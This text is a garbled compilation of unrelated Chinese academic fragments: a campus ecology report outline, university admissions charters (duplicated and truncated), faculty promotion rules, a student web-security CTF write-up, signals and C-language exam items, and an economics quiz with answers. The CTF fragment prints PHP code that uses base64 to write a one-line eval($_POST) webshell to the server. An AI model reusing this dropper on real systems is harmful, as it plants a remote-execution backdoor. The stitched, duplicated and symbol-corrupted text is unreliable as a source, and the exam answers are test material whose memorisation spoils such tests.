南阳理工学院校园图片

《城市生态学》课程作业——

南阳理工学院校园生态系统调研报告

组员：贾向丽、李文静、陈培、

彭文文、胡颖

目录

第一部分 调研篇

一．调研时间……………………………………………………………………4 二．调研地点……………………………………………………………………4 三．调研目的……………………………………………………………………4 四．调研内容……………………………………………………………………4 五．调研方法……………………………………………………………………4

第二部分 分析篇

一．校园基本概况????????????????????????4 1.1校区组成及占地面积……………………………………………………4 1.2学校现有人口及人口组成………………………………………………4 1.3管理机构…………………………………………………………………5 1.4学院教学条件……………………………………………………………5 1.5学生组成………………………………………………………………..7 二．校园社会要素方面………………………………………………………….7 2.1 社会要素现状资料情况……………………………………………….7

《城市生态学》课程作业——

南阳理工学院校园生态系统调研报告

组员：贾向丽、李文静、陈培、

彭文文、胡颖

目录

第一部分 调研篇

一．调研时间……………………………………………………………………4 二．调研地点……………………………………………………………………4 三．调研目的……………………………………………………………………4 四．调研内容……………………………………………………………………4 五．调研方法……………………………………………………………………4

第二部分 分析篇

一．校园基本概况????????????????????????4 1.1校区组成及占地面积……………………………………………………4 1.2学校现有人口及人口组成………………………………………………4 1.3管理机构…………………………………………………………………5 1.4学院教学条件……………………………………………………………5 1.5学生组成………………………………………………………………..7 二．校园社会要素方面………………………………………………………….7 2.1 社会要素现状资料情况……………………………………………….7

厦门理工学院2012年普通高等教育招生章程

阅读数: 7585文章来源：学工处时间：2012年06月06日 02:46

为进一步规范学校招生工作，提高生源质量，维护学校和考生合法权益，保证学校招生工作的顺利进行，根据《中华人民共和国教育法》、《中华人民共和国高等教育法》和教育部有关规定，结合学校具体情况，制定本章程。

第一章 学校概况

第一条 学校全称厦门理工学院，代码11062。学校创建于1981年，是福建省属公办本科大学，实行省市共建、以市为主的管理体制。现已发展成为一所以工为主、理工结合，理、工、经、管、文、艺等多学科协调发展的全日制普通高等院校。

第二条 厦门理工学院位于中国东南海滨城市厦门，学校根植厦门，服务海西，面向全国，正逐步成长为一所区位优势突出、专业特色鲜明、师资结构优化、学生素质出众、办学效益显著、发展后劲十足、影响力和知名度快速提升的新型“亲产业”本科大学。

第三条 培养模式： 1.基准培养模式

学校实行弹性学分制。本科基本学制四年，建筑学专业基本学制五年，专科基本学制三年。 2.主辅修、双专业和双学位培养模式

鼓励学有余力的学生兼修第二学位（专业）或辅修其他专业部分课程。 3. 闽台高校合作培养模式

闽台高

南通理工学院

专业技术资格评审工作办法

第一章 总则

第一条 为科学、客观、公正评价高校教师教育、教学、科研、服务水平，发挥人才评价“指挥棒”作用，全面提高教师整体素质，促进教师队伍建设，特制定本资格条件。

第二条 本资格条件适用于南通理工学院在职在岗教师。

第二章 基本条件

第三条 思想政治要求

拥护中国共产党的领导，热爱祖国，热爱人民的教育事业，贯彻党的教育方针，遵守国家法律法规；具有良好的职业道德和敬业精神，遵守师德规范，学风端正，教书育人，敬业爱岗，为人师表。任现职以来，综合考核在合格（称职）以上。

任现职以来，在规定的任职年限基础上，出现下列情况之一的，从下年起延迟申报。

（一）违背师德规范，产生不良影响者，延迟1年以上。 （二）年度考核基本合格（基本称职）及以下或受警告处分者，延迟1年以上。

（三）受记过以上处分者，延迟2年以上。

—1—

（四）谎报资历、业绩，剽窃他人成果等弄虚作假行为者，延迟3年以上。

第四条 继续教育要求

任现职期间，按照《江苏省专业技术人员继续教育条例》相关规定，结合从事的教学与科研工作需要，完成国内外进修、社会实践、下企业锻炼和知识更新等培训任务累计不少于6个月。

第三章 副教授资格条件

厦门理工学院2012年普通高等教育招生章程

阅读数: 7585文章来源：学工处时间：2012年06月06日 02:46

为进一步规范学校招生工作，提高生源质量，维护学校和考生合法权益，保证学校招生工作的顺利进行，根据《中华人民共和国教育法》、《中华人民共和国高等教育法》和教育部有关规定，结合学校具体情况，制定本章程。

第一章 学校概况

第一条 学校全称厦门理工学院，代码11062。学校创建于1981年，是福建省属公办本科大学，实行省市共建、以市为主的管理体制。现已发展成为一所以工为主、理工结合，理、工、经、管、文、艺等多学科协调发展的全日制普通高等院校。

第二条 厦门理工学院位于中国东南海滨城市厦门，学校根植厦门，服务海西，面向全国，正逐步成长为一所区位优势突出、专业特色鲜明、师资结构优化、学生素质出众、办学效益显著、发展后劲十足、影响力和知名度快速提升的新型“亲产业”本科大学。

第三条 培养模式： 1.基准培养模式

学校实行弹性学分制。本科基本学制四年，建筑学专业基本学制五年，专科基本学制三年。 2.主辅修、双专业和双学位培养模式

鼓励学有余力的学生兼修第二学位（专业）或辅修其他专业部分课程。 3. 闽台高校合作培养模式

闽台高

本文仅限参考，如有抄袭，复制，切JJ一枚

本文使用繁体编写，如有需要请使用wps文档繁体转换成简体阅读。

WEB安全技術

姓名：秦密

班級：12級網安一班 學號：1215135068 指導老師：張鑫

2015 3月杯季賽 第二題 題目

HTTP://challenge.honyaedu.com:8886/2015-3/2/index.html

查看源碼

color=white>某年某月某日，菜刀大牛在網路聯盟伺服器上發現了一段奇怪的代碼：

color=white><?fputs(fopen(base64_decode("bm92b2ljZS5waHA="), "w"), base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyd0aGlzX2lzX3lpanVodWEnXSk7Pz4="));?>

color=white>

信号与系统课程试卷库测试试题（编号：001 ）

一. 单项选择题(本大题共10小题，每小题2分，共20分) 积分?34?1et?(t?3)dt等于（ ）

?3A．e B．e C．0 D．1

系统结构框图如图示，该系统的单位冲激响应h(t)满足的方程式为（ ）

dy(t)dh(t)?y(t)?x(t)?h(t)??(t)h(t)??(t)?y(t) h(t)?x(t)?y(t)dtA． B． C．dt D．

f(t),f2(t)波形如下图所示，设f(t)?f1(t)*f2(t)，则f(0)为（ ）

3．信号1A．1 B．2 C．3 D．4

?(2?j5)teu(t)的傅里叶变换为( ) 4.信号

1111ej5?e?j2?A.2?j? B. 5?j? C.2?j(??5) D. ?2?j(??5) 5．已知信号f(t)如图所示，则其傅里叶变换为（ ）

????????????Sa()?Sa()Sa()?Sa()422 422 B．A．2?????????Sa()??Sa()?Sa()??Sa()42 D．4

《南阳理工学院C语言考试系统》样题

选择题

1、有输入语句：scanf(\ａ＝％ｄ，ｂ＝％ｄ，ｃ＝％ｄ\，＆ａ，＆ｂ，＆ｃ)；为使变量ａ的值为１，ｂ的值为３，ｃ的值为２，从键盘输入数据的正确形式应当是（ ）。 Ａ）１３２＜回车＞ Ｂ）１，３，２＜回车＞

Ｃ）ａ＝１ ｂ＝３ ｃ＝２＜回车＞ Ｄ）ａ＝１，ｂ＝３，ｃ＝２＜回车＞

2,以下能正确的定义整形变量ａ，ｂ和ｃ并为其赋初值５的语句是：

（Ａ）ｉｎｔ ａ＝ｂ＝ｃ＝５； （Ｂ）ｉｎｔ ａ，ｂ，ｃ＝５； （Ｃ）ａ＝５，ｂ＝５，ｃ＝５； （Ｄ）ａ＝ｂ＝ｃ＝５；

3,已知ｃｈ是字符型变量，下面不正确的赋值语句是：

（Ａ）ｃｈ＝’ａ＋ｂ’； （Ｂ）ｃｈ＝’＼０’； （Ｃ）ｃｈ＝’７’＋’９’； （Ｄ）ｃｈ＝５＋９；

4,若有以下定义ｉｎｔ ａ，ｂ；ｆｌｏａｔ ｘ； 则不正确的语句是： Ａ）ａ＝１，ｂ＝２； Ｂ）ｂ＋＋； Ｃ）ａ＝ｂ＝５； Ｄ）ｂ＝ｉｎｔ ｘ；

5,对以下说明语句的正确理解是：

ｉｎｔ ａ［１０］＝｛６，７，８，９，１０｝；

Ａ）将五个初值依次赋给ａ［１］－ａ［５］； Ｂ）将五个初值依次赋给ａ［０］－ａ［４］； Ｃ）将五个初值依次赋给ａ［６］－ａ［１０］；

Ｄ）

www.gaokaopai.com 高考派—高考志愿填报专家

【湖南理工学院南湖学院专业】湖南理工学院南湖学院招生网站-湖南理工学院南湖学院分数线

第七章 录取规则 第十八条 学校原则上按1:1.2的比例调阅考生档案，根据考生志愿及录取情况，招生就业办根据实际情况做出适当调整。 第十九条 认可各省(自治区、直辖市)教育厅或高招办有关加分或降分投档的政策和做法。以考生的投档成绩作为排队时的基准成绩，对加分考生按加分后成绩排队。 第二十条 优先录取第一志愿考生，如第一志愿未录满时，接受第二志愿考生，并按分数优先的原则录取。 第二十一条 进档考生专业采用分数优先的方法确定，尽量满足考生的专业要求。具体操作办法如下：每当省招办向我校投档一批考生，我校即从该批考生的最高分到最低分的顺序依次考察考生的专业志愿，如果该考生填报的第一个专业未录满，则录取到该专业，否则考察考生填报的第二个专业志愿，依此类推；如果该考生所有填报志愿均不能满足，但服从专业调剂的，可以调剂到相近专业，不服从调剂，则退档。 第二十二条 各专业无男女比例要求。 第二十三条 对考生身体健康状况、及身体条件的要求，除专业录取要求

第一章 导论

一、判断题

1.稀缺资源的有效配置要求生产的产品越多越好。（×） 2.成本理论属于宏观经济学研究范畴。（×）

3.实证分析是对客观世界的客观描述，一般不加入个人的价值判断。（√） 4.“面对日益严峻的食品安全问题，企业必须将其社会责任放在首位”，属于规范分析。（√） 5.微观经济学的核心理论是价格理论。（√） 二、选择题

1.经济学可以定义为（C）

A.政府对市场制度的干预 B.企业赚取利润的活动 C.研究稀缺资源如何有效配置的问题 D.个人的生财之道 2.“资源是稀缺的”是指（D）

A.资源是不可再生的 B.资源必须留给下一代

C.资源终将被耗费殆尽 D.相对于人的欲望而言，资源总是不足的 3.经济学研究的基本问题是（D）

A.生产什么，生产多少 B.如何生产，为谁生产 C.如何生产更多经济物品 D.以上都包括 4.下列哪个陈述不属于实证分析（B）

A.汽油价格下降导致汽车需求增加